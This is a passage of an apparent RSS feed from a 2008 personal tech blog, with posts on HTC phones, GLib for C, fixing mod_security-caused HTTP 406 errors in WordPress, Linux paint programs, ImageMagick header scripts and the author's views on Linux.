&lt;p&gt;This would prevent the module from loading whenever you connect your webcam to your computer. Let me know if this worked for you or if you have some of your own tips/tricks/hacks to get this or other webcams working on linux.&lt;/p&gt;</content></item><item><title>The Elusive Super Phone</title><link>https://shantanugoel.com/2008/05/08/the-elusive-super-phone/</link><pubDate>Thu, 08 May 2008 17:15:28 +0000</pubDate><guid>https://shantanugoel.com/2008/05/08/the-elusive-super-phone/</guid><description>&lt;p&gt;HTC announce their shiny new Touch Diamond recently. Everyone ooh&amp;rsquo;ed and aah&amp;rsquo;ed while ogling at it until they realized that HTC has taken a step back (or forward towards matching Apple&amp;rsquo;s iPhone crap) by removing the expansion card slot from the phone. Yes, it has 4 GB of internal storage but I&amp;rsquo;d rather have an SDHC card slot with the ever falling prices of solid state memory (an 8 GB Class 6 SDHC card is worth not more than around 60$ these days). With a history of ultimate-gift-to-mankind phones like HTC Tytn, HTC Tytn II (Kaiser), iPhone, etc that excite so much on the first look and then start becoming dimmer and unwanted as the euphoria settles, we are left to wonder when will we see the real &amp;ldquo;Super Phone&amp;rdquo;. The do-it-all-be-all-end-all phone.&lt;/p&gt;</description><content>&lt;p&gt;HTC announce their shiny new Touch Diamond recently. Everyone ooh&amp;rsquo;ed and aah&amp;rsquo;ed while ogling at it until they realized that HTC has taken a step back (or forward towards matching Apple&amp;rsquo;s iPhone crap) by removing the expansion card slot from the phone. Yes, it has 4 GB of internal storage but I&amp;rsquo;d rather have an SDHC card slot with the ever falling prices of solid state memory (an 8 GB Class 6 SDHC card is worth not more than around 60$ these days). With a history of ultimate-gift-to-mankind phones like HTC Tytn, HTC Tytn II (Kaiser), iPhone, etc that excite so much on the first look and then start becoming dimmer and unwanted as the euphoria settles, we are left to wonder when will we see the real &amp;ldquo;Super Phone&amp;rdquo;. The do-it-all-be-all-end-all phone.&lt;/p&gt;
&lt;p&gt;Well, my prediction is (Nostradamus style) : **NEVER. **No sir, you are not going to see your dream phone any time soon, or any time at all, for that matter.&lt;/p&gt;
&lt;p&gt;Why do I say that. The reasons are pretty obvious, once we take off our wishful thinking hats and don the smart thinking ones.&lt;/p&gt;
&lt;p&gt;**1. ****A new dream every day: **Around 8-10 years ago, I wished I had a cell phone. Around 6 years ago, I wish I had one with a camera. Around 4 years ago, I wish I had a phone with Mp3 player and expandable memory. 3 years ago I wished for a smart phone. Now, I wish for&amp;hellip;. You get it. By the time something comes out, our dreams have already moved on. After all they  aren&amp;rsquo;t called &amp;ldquo;dreams&amp;rdquo; just like that ;)&lt;/p&gt;
&lt;p&gt;**2. Where is the money: **You might be ready to give a fortune (and your first born son) for that ultimate phone, but the evil-phone-conglomerate wants much more than that. They want you to be slaves. They don&amp;rsquo;t want the world to spend a huge amount in one go and then stop. They need to mint more money and too much more frequently than you&amp;rsquo;d like to spend. This is why the strategy works. Give out a phone that has slim form factor, nice UI, wi-fi, but then make the processor crappy (Touch), then lure them with a better processor but take out the wi-fi (Touch Dual), Add the wi-fi back and slap in a keyboard too, but keep&amp;rsquo;em wanting for &lt;a href="http:///2008/01/28/htc-the-best-windows-mobile-business-unit.html"&gt;better graphics&lt;/a&gt; (Kaiser), give &amp;rsquo;em a shiny new toy, but then lock it down in every possible (iCrap). So, you&amp;rsquo;d be stuck in the vicious circle of &amp;ldquo;upgrades&amp;rdquo; and keep the phone factory churning.&lt;/p&gt;
&lt;p&gt;So, my dear fellow phone lovers, stop wasting your time waiting for that ultimate phone, and go &amp;ldquo;upgrade&amp;rdquo; at once, because &amp;ldquo;that&amp;rdquo; phone with just &amp;ldquo;that&amp;rdquo; one more feature&amp;hellip;ISN&amp;rsquo;T COMING&amp;hellip;&lt;/p&gt;</content></item><item><title>Want To Program Smartly In C? Use GLib</title><link>https://shantanugoel.com/2008/05/03/smart-programming-in-c-using-glib/</link><pubDate>Sat, 03 May 2008 15:30:16 +0000</pubDate><guid>https://shantanugoel.com/2008/05/03/smart-programming-in-c-using-glib/</guid><description>&lt;p&gt;&lt;strong&gt;GLib - An Introduction:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://library.gnome.org/devel/glib/"&gt;GLib&lt;/a&gt; is a utility library for C, which augments the standard C library in several purposeful ways to make your life that much easier while programming. GLib has the following things to offer you:&lt;/p&gt;
&lt;p&gt;**1. Portability: **The main issue that haunts any C developer is the portability of code. One cannot rely on the standard C library for this as you may find many functions that work differently under different platforms are aren&amp;rsquo;t there at all sometimes. GLib ensures that the all the functionality exposed by it remains consistent across platforms, so that you can rest assured that your code will work the way its supposed to work irrespective of the Operating System it&amp;rsquo;s being used for (Of course, this assumes that you have ensured about portability aspects of your non-GLib related source code). Moreover, GLib is available for a vast array of contemporary Operating Systems including GNU/Linux, Microsoft Windows and Mac OS X.&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;GLib - An Introduction:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://library.gnome.org/devel/glib/"&gt;GLib&lt;/a&gt; is a utility library for C, which augments the standard C library in several purposeful ways to make your life that much easier while programming. GLib has the following things to offer you:&lt;/p&gt;
&lt;p&gt;**1. Portability: **The main issue that haunts any C developer is the portability of code. One cannot rely on the standard C library for this as you may find many functions that work differently under different platforms are aren&amp;rsquo;t there at all sometimes. GLib ensures that the all the functionality exposed by it remains consistent across platforms, so that you can rest assured that your code will work the way its supposed to work irrespective of the Operating System it&amp;rsquo;s being used for (Of course, this assumes that you have ensured about portability aspects of your non-GLib related source code). Moreover, GLib is available for a vast array of contemporary Operating Systems including GNU/Linux, Microsoft Windows and Mac OS X.&lt;/p&gt;
&lt;p&gt;**2. Security: **Though you still need to be careful about things like freeing allocated memories properly, etc but GLib does ensure that all its functionality is secure. Moreover, GLib has a policy of ensuring that all its functions are threadsafe. This saves you from a lot of checks and balances and locks and scheduling considerations if you had written all this yourself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Useful Data Types:&lt;/strong&gt; GLib exposes a lot of data types. Some are very basic that maintain portability across OS&amp;rsquo;s and 32-bit and 64-bit systems. e.g. you can rest assured that gint32 will always be 32 bit and gint64 will always be 64 bit data types.&lt;/p&gt;
&lt;p&gt;Apart from this, it also provides a lot of derived data types e.g. singly linked lists, doubly linked lists, hash tables, stacks, queues, trees, and much more. It&amp;rsquo;d basically cover most of you data structure needs that you&amp;rsquo;d have otherwise had to implement yourselves. And it also provides helper functions that makes working with them so much more easier. If you have ever used Perl, and have wished that C programming could be a bit faster like it, you will be pleasantly surprised.&lt;/p&gt;
&lt;p&gt;**4. Utility Functions: **GLib also provides various utility functions to ease out your manipulation of data. Some of the functions are meant as more secure and portable replacements for those provided with standard C library, while rest are meant to provide other useful functionality which you earlier had to implement in your code. Some of the major areas covered by GLib&amp;rsquo;s utility functions are String manipulation, character set manipulation and conversion (including unicode and base64), using regular expressions, file manipulation, shell functions, config file parsing (my favourite), etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;End Note:&lt;/strong&gt; I can understand that there would be a lot of people who believe that use of GLib is dumbing down programming in C. After all, we take pride being in control of our code and this is why we love progrmming in C because we have options to do things in our own way. Yes, that is all true but there comes a time where you&amp;rsquo;d like to spend more time in developing the core functionality of your app, or focus more on giving a rapid shape to your new idea, rather than reinventing the wheel and fumbling around with writing the helper functions. So, keeping that in mind I believe GLib is wonderful piece of code that has enabled me to churn out new apps that much faster.&lt;/p&gt;</content></item><item><title>Http 406 Errors Galore</title><link>https://shantanugoel.com/2008/05/01/http-406-errors-galore/</link><pubDate>Thu, 01 May 2008 15:30:05 +0000</pubDate><guid>https://shantanugoel.com/2008/05/01/http-406-errors-galore/</guid><description>&lt;p&gt;If you have ever had these errors or just want to be prepared in case they pop up somtime (and they surely will), then read on as I discuss various situations that lead to them and also their solutions.&lt;/p&gt;
&lt;p&gt;I generally use desktop clients (mostly blogjet, but also Windows Live Writer and Scribe Fire sometimes) to blog to my WordPress based blogs. Some months ago, I started getting &amp;ldquo;Http 406: Not Acceptable&amp;rdquo; error while posting a particular post. Tried posting through the WordPress inbuilt TinyMCE editor, but got the same result. A little bit of research told me that this was because the post contained some words that were considered harmful by the &amp;ldquo;mod_security&amp;rdquo; plugin for apache that had been installed by my host to prevent hacking attempts. The quick resolution was to include the following lines in my .htaccess:&lt;/p&gt;</description><content>&lt;p&gt;If you have ever had these errors or just want to be prepared in case they pop up somtime (and they surely will), then read on as I discuss various situations that lead to them and also their solutions.&lt;/p&gt;
&lt;p&gt;I generally use desktop clients (mostly blogjet, but also Windows Live Writer and Scribe Fire sometimes) to blog to my WordPress based blogs. Some months ago, I started getting &amp;ldquo;Http 406: Not Acceptable&amp;rdquo; error while posting a particular post. Tried posting through the WordPress inbuilt TinyMCE editor, but got the same result. A little bit of research told me that this was because the post contained some words that were considered harmful by the &amp;ldquo;mod_security&amp;rdquo; plugin for apache that had been installed by my host to prevent hacking attempts. The quick resolution was to include the following lines in my .htaccess:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;ifmodule mod_security.c&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SecFilterEngine Off
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SecFilterScanPOST Off
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/ifmodule&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sure enough, I put them in, published the post, and it worked. But since this meant opening up my site to the real hacking attempts, I commented them out and went about my work, occassionally turning them on as and when required.&lt;/p&gt;
&lt;p&gt;But, a few days ago, after a server upgrade, the problem reared its head again, and in a more vicious manner. I started getting the dreaded 406 error again, and this time for any post, even a blank post, and through all clients. But this time, TinyMCE was working without issues. A little bit of looking around my site told me that the problem was that my desktop clients were not able to connect to my &amp;ldquo;x mlrpc.php&amp;rdquo; file which is responsible for taking care of all the remote api provided by WordPress. Trying to access it through any means provided the 406 error. My site&amp;rsquo;s error log was filled with:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An appropriate representation of the requested resource /x mlrpc.php could not be found on this server.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now, the xml rpc methods are used not just by WordPress but many other CMS&amp;rsquo;s (like drupal, joomla, etc) and sure enough a quick search resulted in many similar reports for all the platforms. Enabling my previous mod_security options resulted in &amp;ldquo;503: Server misconfiguration&amp;rdquo; errors, complicating things further.&lt;/p&gt;
&lt;p&gt;On seeing the error logs, I found that the server could not understand the options, and then I discovered that the mod_security had been upgraded to and it wasn&amp;rsquo;t backward compatible with old options. Modifying the options to their latest counterparts also didn&amp;rsquo;t work, as further wading through mod_security manual told me that now, its options cannot be overridden through .htaccess and can only be changed by the web admin.&lt;/p&gt;
&lt;p&gt;I found that my host has basically blocked the x mlrpc.php file from being accessed at all instead of using proper rules for blocking only the attacks while allowing valid accesses. This was the problem that a huge number of people are also having and moreover they (like me) are not able to convince their hosts to switch to proper rules.&lt;/p&gt;
&lt;p&gt;However, not all hope is lost. I have &amp;ldquo;fixed&amp;rdquo; this issue with a workaround for now. It is pretty simple really. Just rename your x mlrpc.php to something else (e.g. myrpc123.php) and also replace all references to it in your CMS with your new file name. You can use sed to automate this task. I used perl however:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;perl -e 's/x mlrpc.php/myrpc123.php/gi' -p -i *&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now, the 406 errors should be gone. If this worked for you, or you had any issues let me know. Also, if you have any other workarounds/fixes of your own, do drop me a word.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; In the above article, please ignore the space between &amp;ldquo;x&amp;rdquo; and &amp;ldquo;mlrpc&amp;rdquo; as the mod_security rules prevent them from being in content also. Moreover, use some unique name for rpc file.&lt;/p&gt;</content></item><item><title>Page Rank 7: True Or Google Glitch?</title><link>https://shantanugoel.com/2008/04/30/page-rank-7-true-or-google-glitch/</link><pubDate>Wed, 30 Apr 2008 20:33:51 +0000</pubDate><guid>https://shantanugoel.com/2008/04/30/page-rank-7-true-or-google-glitch/</guid><description>&lt;p&gt;I installed google toolbar (linux version) today in firefox and for this blog, it says that its page rank is &lt;strong&gt;7&lt;/strong&gt;. I can&amp;rsquo;t believe my eyes. I suppose it&amp;rsquo;s a google glitch may be (but have a wishful thinking at the back of mind that its true :-) ).&lt;/p&gt;
&lt;p&gt;Are you getting the same result for this blog (or weird page rank results for other places that you frequent?)&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/tech_shantanugoel_com_pagerank_7.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/tech_shantanugoel_com_pagerank_7_thumb.jpg" alt="tech_shantanugoel_com_pagerank_7_thumb"&gt;&lt;/a&gt;&lt;/p&gt;</description><content>&lt;p&gt;I installed google toolbar (linux version) today in firefox and for this blog, it says that its page rank is &lt;strong&gt;7&lt;/strong&gt;. I can&amp;rsquo;t believe my eyes. I suppose it&amp;rsquo;s a google glitch may be (but have a wishful thinking at the back of mind that its true :-) ).&lt;/p&gt;
&lt;p&gt;Are you getting the same result for this blog (or weird page rank results for other places that you frequent?)&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/tech_shantanugoel_com_pagerank_7.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/tech_shantanugoel_com_pagerank_7_thumb.jpg" alt="tech_shantanugoel_com_pagerank_7_thumb"&gt;&lt;/a&gt;&lt;/p&gt;</content></item><item><title>Windows App Alternatives For Linux: MSPaint</title><link>https://shantanugoel.com/2008/04/28/windows-app-alternatives-for-linux-mspaint/</link><pubDate>Mon, 28 Apr 2008 15:30:44 +0000</pubDate><guid>https://shantanugoel.com/2008/04/28/windows-app-alternatives-for-linux-mspaint/</guid><description>&lt;p&gt;Some of you might know that I was in the hunt for a decent mspaint alternative &lt;a href="https://shantanugoel.com/2008/04/03/wanted-a-good-paint-program-for-linux.html"&gt;recently&lt;/a&gt;. Note that I didn&amp;rsquo;t go for GIMP / Inkscape etc because they were overkill for what I wanted to do. Many a times, I just wanted to touch up a screenshot or make a simple flow image by drawing a few boxes, use a few pointing arrows, and add some text here and there. All this could be done with the previous mentioned programs as well but took a bit more steps than I wanted (stroking the selections / paths for lines, boxes, circles, and even then, no arrows). I didn&amp;rsquo;t find an adequate replacement at the time but got it now, so thought of writing about it. Basically I came across 4 apps: tuxpaint, gpaint, kolourpaint and mtpaint. Won&amp;rsquo;t discuss tuxpaint here cuz I found it a little too kiddish.&lt;/p&gt;</description><content>&lt;p&gt;Some of you might know that I was in the hunt for a decent mspaint alternative &lt;a href="https://shantanugoel.com/2008/04/03/wanted-a-good-paint-program-for-linux.html"&gt;recently&lt;/a&gt;. Note that I didn&amp;rsquo;t go for GIMP / Inkscape etc because they were overkill for what I wanted to do. Many a times, I just wanted to touch up a screenshot or make a simple flow image by drawing a few boxes, use a few pointing arrows, and add some text here and there. All this could be done with the previous mentioned programs as well but took a bit more steps than I wanted (stroking the selections / paths for lines, boxes, circles, and even then, no arrows). I didn&amp;rsquo;t find an adequate replacement at the time but got it now, so thought of writing about it. Basically I came across 4 apps: tuxpaint, gpaint, kolourpaint and mtpaint. Won&amp;rsquo;t discuss tuxpaint here cuz I found it a little too kiddish.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;gpaint: (Available in Ubuntu repositories) gpaint is a very simplistic program that has a mspaint look and feel but feels a bit lacking. It can do basic procedures like basic shape selections, lines, boxes but that&amp;rsquo;s it. No polygon selections, brush, color picker, etc, and yeah no arrows. Moreover, it saves only in pngs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/gpaint.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/gpaint-thumb.png" alt="gpaint screenshot"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;kolourpaint: (Available in Ubuntu Repositories) kolourpaint is very close to mspaint. Infact it does a bit more than mspaint. It has all the things that I mentioned as missing in gpaint, plus has basic image manipulation effects as well. I liked it quite a bit, but it had 2 drawbacks for me, still no arrows, and it depends on KDE/Qt libraries.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/kolourpaint.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/kolourpaint-thumb.png" alt="kolourpaint screenshot"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;mtpaint: (Available in Ubuntu Repositories from Gutsy onwards. Rest of the folks can search for a package on net, or find a suitable package or source &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=155874&amp;amp;package_id=173703"&gt;here&lt;/a&gt;) This is the software that got me most excited. It is actually a kind of lower-intermediate package that lies somewhere between mspaint and a very basic, poor man&amp;rsquo;s GIMP. It has all the features ok kolourpaint, (plus arrows at last :-) ), a small smattering of basic effects (gaussian, edge detection, blur, embossing), can work with gifs also (handles transparency and animation quite well). So, this is the one I would be sticking to for now.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/mtpaint.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/mtpaint-thumb.png" alt="mtpaint screenshot"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I am using mtpaint now for my basic needs. Hope the article benefitted you as well. If I missed out on some package, then do let me know.&lt;/p&gt;</content></item><item><title>ImageMagick: Weaving Magic With Your Pictures</title><link>https://shantanugoel.com/2008/04/26/imagemagick-weaving-magic-with-your-pictures/</link><pubDate>Sat, 26 Apr 2008 06:23:18 +0000</pubDate><guid>https://shantanugoel.com/2008/04/26/imagemagick-weaving-magic-with-your-pictures/</guid><description>&lt;p&gt;I’ve known about ImageMagick tools for quite some time now but never dabbled with it. A couple of weeks ago I played with it for some time (notice the new cascaded polaroid pics header above) and was amazed even more. Few of its shining features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;It has almost unlimited features to manipulate your images through its tools like convert, montage, mogrify etc and their long list of options.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It is available for Windows, Linux and Mac as well.&lt;/p&gt;</description><content>&lt;p&gt;I’ve known about ImageMagick tools for quite some time now but never dabbled with it. A couple of weeks ago I played with it for some time (notice the new cascaded polaroid pics header above) and was amazed even more. Few of its shining features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;It has almost unlimited features to manipulate your images through its tools like convert, montage, mogrify etc and their long list of options.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It is available for Windows, Linux and Mac as well.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Runs on web servers also (most of those nifty image sites use it for run time image manipulation)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It is amazingly fast.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Runs on the command line, which means batching of operations can be done and is also good for butter fingered people like me who are clumsy with GUI based image manipulation programs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Has modules for interfacing with C, perl, php, C++, C#, java, etc. So, you can create your own applications around it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It’s FREE (as in speech and as in beer)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It has an amazing documentation over at imagemagick.org and also a very thriving community, so help is just a few clicks away.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As a very rudimentary sample of what it can do for you, take a look at my blog’s header above. I just gave it a few pics and ran a command, and it resized them, turned them into polaroid pics, rotated them at random angles, made the background transparent, strung them together to make a webpage header/banner.&lt;/p&gt;
&lt;p&gt;Since the command was specific for the number and names of images, I made a simple perl script to automate the command making process so you can also download this script (link at the end of post) and run it to create your own header. (You might want to tweak the $w and $h variables in the script to specify your header’s width and height). Running it would be like&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./pano.pl &amp;lt;imagenames&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;e.g.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./pano.pl myimages/*
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After I made this script, I came across &lt;a href="http://stason.org/photos/gallery/"&gt;Stas Bekman’s photo gallery&lt;/a&gt; which has a much better and cool stack effect with photos. And he generously agreed to share his script (much more sophisticated than my my few lines) with me. His script is also attached below.&lt;/p&gt;
&lt;p&gt;Let me know if you use any of these scripts (as it is or after modifying them) to create any cool effects.&lt;/p&gt;</content></item><item><title>5 Reasons I Like Linux (And 5 Why I Dislike It)</title><link>https://shantanugoel.com/2008/04/19/5-reasons-i-like-linux-and-5-why-i-dislike-it/</link><pubDate>Sat, 19 Apr 2008 20:20:40 +0000</pubDate><guid>https://shantanugoel.com/2008/04/19/5-reasons-i-like-linux-and-5-why-i-dislike-it/</guid><description>&lt;p&gt;&lt;strong&gt;Disclaimer Notes:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;I wrote this because these things just came into my mind today while I was reading about the impending &amp;ldquo;Hardy Heron&amp;rdquo; release related things and saw that there is a lot of FUD being spread still. So, thought of jotting down my likes/dislikes and not making it a linux v/s windows campaign. Though at a few places, it might be necessary to compare the two just to put things into perspective.&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Disclaimer Notes:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;I wrote this because these things just came into my mind today while I was reading about the impending &amp;ldquo;Hardy Heron&amp;rdquo; release related things and saw that there is a lot of FUD being spread still. So, thought of jotting down my likes/dislikes and not making it a linux v/s windows campaign. Though at a few places, it might be necessary to compare the two just to put things into perspective.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;These are reasons why &amp;ldquo;&lt;strong&gt;I&lt;/strong&gt;&amp;rdquo; like/dislike Linux and not why others might like/dislike it although you might find common patterns.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Most of my recent experience is with Ubuntu these days, so most examples would be from it as well.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;These reasons are purely from an end-user&amp;rsquo;s perspective and not from a linux developer&amp;rsquo;s perspective. So, I&amp;rsquo;m not taking into factor that I can change the kernel (or most other things&amp;rsquo;) source code because &amp;ldquo;generally&amp;rdquo; I don&amp;rsquo;t.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This post is quite long. And if you have a flame to send out my way (which you are most welcome to do), please read it in its entirety before doing so, because many things I say at some point have some caveats covered at another point.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;5 Reasons why I like Linux:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Light on Resources&lt;/strong&gt;: I must say that Linux is what still keeps my more than 3 years old laptop running in a prim condition with the latest and greatest of everything from technology stand-point as well as eye-candy stuff. An example: With almost every effect of Compiz Fusion turned on, hordes of screenlets and AWN enabled, an Apache/MySQL/PHP based server running, and a dozen of other applications (firefox, nautilus, terminal, GIMP, RhythmBox, Open Office Word Processor, VLC player, etc) open, my setup consumes around 500 MB of RAM. While on the other hand, if I was using Vista, It&amp;rsquo;d have demanded atleast 1 GB of RAM just to run Aero, forget about the rest of the things.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cost&lt;/strong&gt;: This is a big factor for me. Almost everything is free or atleast has a free alternative available. Most of the times I&amp;rsquo;ve found these free software to be much better than commercial software in terms of feature sets as well as stability. But even otherwise, when there are cases where the free alternative a bit lagging as compared to the commercial one (e.g. GIMP v/s Photoshop), I haven&amp;rsquo;t felt that my needs have ever outgrown the free software.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ease of Use&lt;/strong&gt;: Doing &amp;ldquo;stuff&amp;rdquo; on linux is just so easy. By &amp;ldquo;stuff&amp;rdquo;, I mean everything from doing some normal day chores, downloading files, customizing things, automating routine tasks, etc. The backbone for this is &amp;ldquo;the terminal&amp;rdquo; (not the movie :P). I can do almost anything I want from the console. It not only saves me time and frustration in executing a program, waiting for the GUI to load and then go through a series of clicks but also allows me to batch up everything into one pretty little command. Moreover, every thing has so many options that I can configure to my liking. (More on the &amp;ldquo;options&amp;rdquo; later below)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Getting Software&lt;/strong&gt;: Getting software couldn&amp;rsquo;t be more easy.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;It generally involves typing in &lt;code&gt;sudo apt-get install &amp;lt;software&amp;gt;&lt;/code&gt;, pressing enter, and that&amp;rsquo;s it. The latest version is ready to roll on your machine.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Reboots are minimal. Even after thinking for quite long, it&amp;rsquo;s very hard to recall any time when I had to &amp;ldquo;log-off&amp;rdquo; my system (let alone reboot) after installing a software (or even a driver)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Updates are automatic, and not just for the OS or a few core components, but for all the software that I installed through repositories (but not for the ones which I installed from my local deb&amp;rsquo;s or compilations, which is understandable of course)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The latest fixes/patches are available very quickly. Moreover, the revision cycle for most distros lies between 6–12 months and hence, even a complete desktop upgrade is quickly available as well (as compared to the 7 year period after which Vista came out). You can even &amp;ldquo;upgrade&amp;rdquo; to the latest distro revision without having to wipe everything, though I generally prefer a clean install.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;: Now, I agree with everyone that the reason why we don&amp;rsquo;t see many viruses for linux is because the user base is very less as compared to other OS&amp;rsquo;s but I also believe that this is not the &amp;ldquo;only&amp;rdquo; reason.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The thing is that since most of the software is open source, so exploits are found quite quickly and patched and released rapidly. While in a closed source environments, even if a white hat reports it, the exploits go on un-noticed, un-worked upon by the developers (A good example is the recent falling of Vista during the &amp;ldquo;Pwn to Own&amp;rdquo; contest because of a known but unpatched vulnerability by Adobe, not a fault of Vista in this case though but you get my drift).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The security model otherwise is also quite tight and its very hard for someone to exploit it till the time you use common sense along with it. (A linux virus can easily wipe your &amp;ldquo;/home&amp;rdquo; without acquiring root permissions).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;5 Reasons why I dislike Linux&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;These reasons irk me the most but aren&amp;rsquo;t enough for to make me move away from Linux. I mention them because getting them right would make my Linux expereince that much more joyful and probably others feels the same too. Moreover, this is not a gripe and is not a command/order to &amp;ldquo;the Linux guys&amp;rdquo; out there to fix it, because linux is of, by and for the community. And being a part of this community, I share the burden of this equally and would like to help out in making it better in whatever ways possible, developing, testing, suggesting things.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Getting Software:&lt;/strong&gt; I had mentioned about how easy it is to get software from most distros&amp;rsquo; repositories with a single command. However, getting and installing software is also a challenge that many people face in linux. After sometime your particular version of the distro stops updating the software and will include only security fixes and such. Now, there are many good people who would backport software for your version but not all the time. You can download pacakges off the internet (debs&amp;rsquo; for ubuntu) but they might not work because of too many inter-mingled dependencies. Compiling is another option but many times, it can spiral out of hand. I hope we can better softwares like GDebi that could make this much more easier.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Options:&lt;/strong&gt; Earlier I listed having so many options as one of my reasons to like Linux. But, sometimes, too many options tend to get to my head. This gets even more difficult when you have too many choices but no clue about what means what and which one is the best. However, the community is continously trying to make this right. A lot of documentation projects are going on, and the mailing lists, IRC networks and other forums also give out a lot of information. Especially for Ubuntu, I find a huge community based support system which always helps me out. (PS – The Ubuntu Forums are the nicest forums you&amp;rsquo;ll ever come across. I am yet to come across a post that contains words like &amp;ldquo;RTFM&amp;rdquo; or &amp;ldquo;n00b&amp;rdquo;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
